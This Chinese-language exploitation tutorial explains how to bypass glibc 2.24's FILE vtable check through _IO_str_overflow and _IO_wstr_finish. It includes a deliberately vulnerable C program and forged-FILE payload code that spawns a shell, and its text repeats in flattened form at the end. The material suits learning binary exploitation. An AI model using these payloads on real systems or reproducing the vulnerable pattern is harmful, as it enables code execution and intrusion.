Pwn with File结构体(四)
字数 1881 2025-08-25 22:59:03

利用FILE结构体绕过glibc 2.24 vtable检测的技术分析

前言

在glibc 2.24版本中,引入了对FILE结构体vtable的检测机制,防止攻击者通过伪造vtable来执行任意代码。本文将详细分析两种绕过这种检测的技术方法,利用__IO_str_overflow_IO_wstr_finish函数来实现代码执行。

环境准备

编译调试版glibc

为了便于分析,我们需要编译一个带有调试符号的glibc 2.24版本:

  1. 下载源码:

    http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.24.tar.bz2
    
  2. 配置编译选项:

    mkdir glibc_224
    cd glibc_224/
    ../glibc-2.24/configure --prefix=/home/haclh/workplace/glibc_224 --disable-werror --enable-debug=yes
    
  3. 编译安装:

    make -j8 && make install
    

测试程序

测试程序代码如下(vuln.c):

#include <stdio.h>
#include <unistd.h>

char fake_file[0x200];

int main() {
    FILE *fp;
    
    puts("Leaking libc address of stdout:");
    printf("%p\n", stdout); // Emulating libc leak
    
    puts("Enter fake file structure");
    read(0, fake_file, 0x200);
    
    fp = (FILE *)&fake_file;
    fclose(fp);
    
    return 0;
}

编译命令:

gcc vuln.c -o vuln

vtable检测机制

glibc 2.24中通过IO_validate_vtable函数对vtable进行校验,确保vtable指针位于__stop___libc_IO_vtables__start___libc_IO_vtables之间。

绕过思路是在这两个符号之间的合法vtable中寻找可以利用的函数指针。

方法一:利用__IO_str_overflow

原理分析

__IO_str_overflow_IO_str_jumps中的一个函数指针,而_IO_str_jumps位于合法的vtable范围内。

关键代码分析(IDA反汇编):

  1. 首先检查fp->_flag

    if ( (fp->_flag & 0x8000) != 0 )
    {
        // 检查失败路径
    }
    

    设置fp->_flag为0即可绕过。

  2. 关键执行路径:

    if ( fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base )
    {
        (fp[1]._IO_read_ptr)(2 * size + 100);
    }
    

    汇编层面实际上是调用[fp+0xE0]处的函数指针,参数为2 * size + 100,其中size = fp->_IO_buf_end - fp->_IO_buf_base

利用步骤

  1. 设置fp+0xE0system地址
  2. 控制fp->_IO_buf_endfp->_IO_buf_base,使得2 * size + 100等于/bin/sh的地址
    • 例如:fp->_IO_buf_base=0fp->_IO_buf_end=(sh_addr-100)/2
  3. 设置fp->_lock指向一个值为0的内存地址(绕过锁检查)
  4. 设置vtable为_IO_str_jumps中适当偏移,使得_IO_FINISH调用__IO_str_overflow

伪造FILE结构体

fake_file = p64(0x0)                # flag
fake_file += p64(0x0)               # read_ptr
fake_file += p64(0x0)               # read_end
fake_file += p64(0x0)               # read_base
fake_file += p64(0x0)              # write_base
fake_file += p64(sh_addr)           # write_ptr (write_ptr - write_base > buf_end - buf_base)
fake_file += p64(0x0)               # write_end
fake_file += p64(0x0)               # buf_base
fake_file += p64((sh_addr-100)/2)   # buf_end
fake_file += b"\x00"*(0x88-len(fake_file))  # padding for _lock
fake_file += p64(lock_ptr)          # _lock指向0的指针
fake_file += b"\x00"*(0xd8-len(fake_file))  # padding for vtable
fake_file += p64(_IO_str_jumps + 0x18)  # vtable设置,使_finish指向__IO_str_overflow
fake_file += b"\x00"*(0xe0-len(fake_file))  # padding
fake_file += p64(system_addr)       # [fp+0xE0] = system

执行流程

  1. fclose(fp)调用_IO_FINISH(fp)
  2. _IO_FINISH实际调用vtable->_finish,即__IO_str_overflow
  3. __IO_str_overflow检查通过后调用[fp+0xE0]system
  4. 参数为2*(buf_end - buf_base) + 100/bin/sh地址)
  5. 执行system("/bin/sh")获取shell

方法二:利用_IO_wstr_finish

原理分析

_IO_wstr_finish位于_IO_wstr_jumps中,也是一个合法的vtable函数。

关键检查:

if ( fp->_wide_data->_IO_buf_base && !(v2->_flags2 & 8) )
{
    // 执行路径
}

汇编层面:

  1. 检查[fp+0xA0] + 0x30_wide_data->_IO_buf_base)不为0
  2. 检查fp+0x74_flags2)的值为0
  3. 调用[fp+0xE8]处的函数指针

利用步骤

  1. 设置fp+0xA0指向一个结构体,其中+0x30处不为0
  2. 设置fp+0x74为0
  3. 设置fp+0xE8为one_gadget地址
  4. 设置vtable为_IO_wstr_jumps

伪造FILE结构体

fake_file = p64(0x0)                # flag
fake_file += p64(0x0)               # read_ptr
fake_file += p64(0x0)               # read_end
fake_file += p64(0x0)               # read_base
fake_file += p64(0x0)               # write_base
fake_file += p64(sh_addr)           # write_ptr
fake_file += p64(0x0)               # write_end
fake_file += p64(0x0)               # buf_base
fake_file += p64((sh_addr-100)/2)   # buf_end
fake_file += b"\x00"*(0x88-len(fake_file))  # padding for _lock
fake_file += p64(lock_ptr)          # _lock指向0的指针
fake_file += b"\x00"*(0xA0-len(fake_file))  # padding
fake_file += p64(wide_data_ptr)      # _wide_data (wide_data+0x30 != 0)
fake_file += b"\x00"*(0xD8-len(fake_file))  # padding for vtable
fake_file += p64(_IO_wstr_jumps)     # vtable
fake_file += b"\x00"*(0xE8-len(fake_file))  # padding
fake_file += p64(one_gadget)         # rip

执行流程

  1. fclose(fp)调用_IO_FINISH(fp)
  2. _IO_FINISH实际调用vtable->_finish,即_IO_wstr_finish
  3. _IO_wstr_finish检查通过后调用[fp+0xE8](one_gadget)
  4. 直接获取shell

总结

这两种方法都利用了glibc中合法的vtable函数来绕过检测:

  1. __IO_str_overflow方法

    • 优点:可以精确控制参数,调用任意函数
    • 缺点:需要控制更多FILE结构体字段
  2. _IO_wstr_finish方法

    • 优点:可以直接跳转到one_gadget,设置简单
    • 缺点:需要满足one_gadget的约束条件

在实际利用中,可以根据具体情况选择合适的方法。这两种技术都展示了即使在有vtable检测的情况下,通过深入理解glibc内部实现,仍然可以找到可利用的代码路径。

利用FILE结构体绕过glibc 2.24 vtable检测的技术分析 前言 在glibc 2.24版本中,引入了对FILE结构体vtable的检测机制,防止攻击者通过伪造vtable来执行任意代码。本文将详细分析两种绕过这种检测的技术方法,利用 __IO_str_overflow 和 _IO_wstr_finish 函数来实现代码执行。 环境准备 编译调试版glibc 为了便于分析,我们需要编译一个带有调试符号的glibc 2.24版本: 下载源码: 配置编译选项: 编译安装: 测试程序 测试程序代码如下( vuln.c ): 编译命令: vtable检测机制 glibc 2.24中通过 IO_validate_vtable 函数对vtable进行校验,确保vtable指针位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间。 绕过思路是在这两个符号之间的合法vtable中寻找可以利用的函数指针。 方法一:利用__ IO_ str_ overflow 原理分析 __IO_str_overflow 是 _IO_str_jumps 中的一个函数指针,而 _IO_str_jumps 位于合法的vtable范围内。 关键代码分析(IDA反汇编): 首先检查 fp->_flag : 设置 fp->_flag 为0即可绕过。 关键执行路径: 汇编层面实际上是调用 [fp+0xE0] 处的函数指针,参数为 2 * size + 100 ,其中 size = fp->_IO_buf_end - fp->_IO_buf_base 。 利用步骤 设置 fp+0xE0 为 system 地址 控制 fp->_IO_buf_end 和 fp->_IO_buf_base ,使得 2 * size + 100 等于 /bin/sh 的地址 例如: fp->_IO_buf_base=0 , fp->_IO_buf_end=(sh_addr-100)/2 设置 fp->_lock 指向一个值为0的内存地址(绕过锁检查) 设置vtable为 _IO_str_jumps 中适当偏移,使得 _IO_FINISH 调用 __IO_str_overflow 伪造FILE结构体 执行流程 fclose(fp) 调用 _IO_FINISH(fp) _IO_FINISH 实际调用 vtable->_finish ,即 __IO_str_overflow __IO_str_overflow 检查通过后调用 [fp+0xE0] ( system ) 参数为 2*(buf_end - buf_base) + 100 ( /bin/sh 地址) 执行 system("/bin/sh") 获取shell 方法二:利用_ IO_ wstr_ finish 原理分析 _IO_wstr_finish 位于 _IO_wstr_jumps 中,也是一个合法的vtable函数。 关键检查: 汇编层面: 检查 [fp+0xA0] + 0x30 ( _wide_data->_IO_buf_base )不为0 检查 fp+0x74 ( _flags2 )的值为0 调用 [fp+0xE8] 处的函数指针 利用步骤 设置 fp+0xA0 指向一个结构体,其中 +0x30 处不为0 设置 fp+0x74 为0 设置 fp+0xE8 为one_ gadget地址 设置vtable为 _IO_wstr_jumps 伪造FILE结构体 执行流程 fclose(fp) 调用 _IO_FINISH(fp) _IO_FINISH 实际调用 vtable->_finish ,即 _IO_wstr_finish _IO_wstr_finish 检查通过后调用 [fp+0xE8] (one_ gadget) 直接获取shell 总结 这两种方法都利用了glibc中合法的vtable函数来绕过检测: __ IO_ str_ overflow方法 : 优点:可以精确控制参数,调用任意函数 缺点:需要控制更多FILE结构体字段 _ IO_ wstr_ finish方法 : 优点:可以直接跳转到one_ gadget,设置简单 缺点:需要满足one_ gadget的约束条件 在实际利用中,可以根据具体情况选择合适的方法。这两种技术都展示了即使在有vtable检测的情况下,通过深入理解glibc内部实现,仍然可以找到可利用的代码路径。